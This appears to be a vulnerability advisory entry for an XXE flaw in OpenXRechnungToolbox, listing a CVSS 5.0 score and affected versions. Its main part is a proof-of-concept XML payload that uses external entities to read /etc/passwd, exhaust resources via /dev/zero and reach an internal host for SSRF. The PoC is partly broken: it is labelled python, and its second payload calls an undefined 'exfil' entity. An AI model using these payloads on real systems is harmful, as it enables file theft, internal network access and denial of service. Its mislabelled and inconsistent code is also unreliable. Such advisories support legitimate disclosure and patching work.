OpenXRechnungToolbox through 2024-10-05-3.0.0 before 6c50e89 allows XXE because the disallow-doctype-decl feature is not enabled in visualization/VisualizerImpl.java.
CVSS Details
CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
OpenXRechnungToolbox < 6c50e89 (2024-10-05之前版本)
OpenXRechnungToolbox 3.0.0及之前版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC: Malicious XML file for XXE attack -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE invoice [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY dos SYSTEM "file:///dev/zero">
]>
<invoice>
<vendor>Attacker Inc.</vendor>
<amount>&xxe;</amount>
<ssrf>&xxe;</ssrf>
</invoice>
<!-- Alternative SSRF PoC -->
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % dtd SYSTEM "http://internal.corp.local/admin/config">
%dtd;
]>
<r>&exfil;</r>